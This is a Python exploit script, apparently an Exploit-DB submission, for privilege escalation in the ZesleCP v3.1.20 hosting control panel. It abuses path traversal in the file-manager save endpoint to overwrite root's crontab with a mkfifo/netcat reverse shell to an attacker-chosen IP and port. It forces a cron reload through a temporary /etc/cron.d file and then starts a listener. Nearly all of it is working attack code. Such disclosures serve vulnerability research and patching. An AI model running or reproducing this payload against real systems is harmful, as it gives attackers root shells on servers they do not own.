################################################################################################################################################################

# Exploit Title: ZesleCP v3.1.20 - Privilege Escalation
# Exploit Author: Ahmet Ümit BAYRAM
# Date: 09.11.2024
# Vendor Homepage: https://zeslecp.com
# Tested on: Ubuntu 20.04

# Privilege Escalation Exploit for ZesleCP Hosting Control Panel
# This exploit leverages a path traversal vulnerability in the file editing functionality of the ZesleCP file manager.
# The exploit utilizes this vulnerability to modify the root user's cron file, creating a cron job that runs with root privileges.
# Although edited with user-level privileges, files manipulated through the 'file_path' parameter retain their original ownership. 
# This allows unauthorized editing of root-owned files, such as the cron file located in `/var/spool/cron/crontabs/root`.
# The exploit places a reverse shell payload in this file to establish a reverse shell connection to the attacker's specified IP and port.
# Since the cron service requires a restart to run the new job, the exploit creates and then deletes a temporary cron job in the `/etc/cron.d` directory.
# This process triggers a cron service refresh, enabling the reverse shell command to execute successfully.

import requests
from requests.sessions import Session
import subprocess
import urllib3
import time

# Disable SSL Warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Get user input
host = input("Enter ZesleCP IP address: ")
zeslecp_port = input("Enter ZesleCP port (default 2087): ")
zeslecp_port = 2087 if zeslecp_port == "" else int(zeslecp_port)
username = input("Enter username: ")
password = input("Enter password: ")
reverse_ip = input("Enter your reverse shell IP address: ")
reverse_port = int(input("Enter your reverse shell port: "))

# URL settings
login_url = f"https://{host}:{zeslecp_port}/login"
save_file_url = f"https://{host}:{zeslecp_port}/file-manager/save-file"
trash_file_url = f"https://{host}:{zeslecp_port}/file-manager/trash"

# Start session
session = Session()
session.verify = False  # Ignore SSL warnings

def login():
    headers = {
        "Content-Type": "application/json",
        "Accept": "application/json, text/plain, */*"
    }
    data = {
        "username": username,
        "password": password,
        "locale": ""
    }
    
    response = session.post(login_url, headers=headers, json=data)
    
    if response.status_code == 200 and "zeslecp_session" in response.cookies:
        print("[+] Login successful.")
        session.cookies.update(response.cookies)
        return True
    else:
        print("[-] Login failed.")
        return False

def create_temp_cron_file():
    # Create a temporary cron file to trigger cron refresh
    temp_cron_payload = (
        "# Temporary cron file for triggering reload\n"
        "* * * * * echo 'temp' > /dev/null\n"
    )
    
    data = {
        "file_path": "../../../../../../etc/cron.d/temp_trigger",
        "data": temp_cron_payload
    }
    
    headers = {
        "Content-Type": "application/json",
        "Accept": "application/json, text/plain, */*",
        "Referer": f"https://{host}:{zeslecp_port}/file-manager",
    }
    
    response = session.post(save_file_url, headers=headers, json=data)
    
    if response.status_code == 200:
        print("[+] Temporary cron file created successfully.")
        return True
    else:
        print("[-] Failed to create temporary cron file.")
        print(f"Status Code: {response.status_code}")
        print(f"Response: {response.text}")
        return False

def delete_temp_cron_file():
    # Delete the temporary cron file
    data = {
        "files": [{"path": "../../../../../../etc/cron.d/temp_trigger", "type": "file"}]
    }
    
    headers = {
        "Content-Type": "application/json",
        "Accept": "application/json, text/plain, */*",
        "Referer": f"https://{host}:{zeslecp_port}/file-manager",
    }
    
    response = session.post(trash_file_url, headers=headers, json=data)
    
    if response.status_code == 200:
        print("[+] Temporary cron file deleted successfully.")
        return True
    else:
        print("[-] Failed to delete temporary cron file.")
        print(f"Status Code: {response.status_code}")
        print(f"Response: {response.text}")
        return False

def modify_cron_for_reverse_shell():
    cron_payload = (
        "# DO NOT EDIT THIS FILE - edit the master and reinstall.\n"
        "MAILTO=\"\"\n"
        f"* * * * * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {reverse_ip} {reverse_port} >/tmp/f\n\n"
    )
    
    data = {
        "file_path": "../../../../../../var/spool/cron/crontabs/root",
        "data": cron_payload
    }
    
    headers = {
        "Content-Type": "application/json",
        "Accept": "application/json, text/plain, */*",
        "Referer": f"https://{host}:{zeslecp_port}/file-manager",
    }
    
    response = session.post(save_file_url, headers=headers, json=data)
    
    if response.status_code == 200:
        print("[+] Cron job with reverse shell added successfully.")
        return True
    else:
        print("[-] Failed to modify cron file.")
        print(f"Status Code: {response.status_code}")
        print(f"Response: {response.text}")
        return False

# Start listener with verbose output
def start_listener():
    print(f"[+] Starting reverse shell listener on port {reverse_port}...")
    listener_command = f"nc -vv -l -p {reverse_port} -n"
    subprocess.run(listener_command, shell=True)

def main():
    if not login():
        exit(1)

    if modify_cron_for_reverse_shell():
        if create_temp_cron_file():
            time.sleep(2)  # Wait 2 seconds after creating the file
            if delete_temp_cron_file():
                print("[+] Cron should now be refreshed, and reverse shell job active.")
                start_listener()  # Start listener after cron reload is triggered

if __name__ == "__main__":
    main()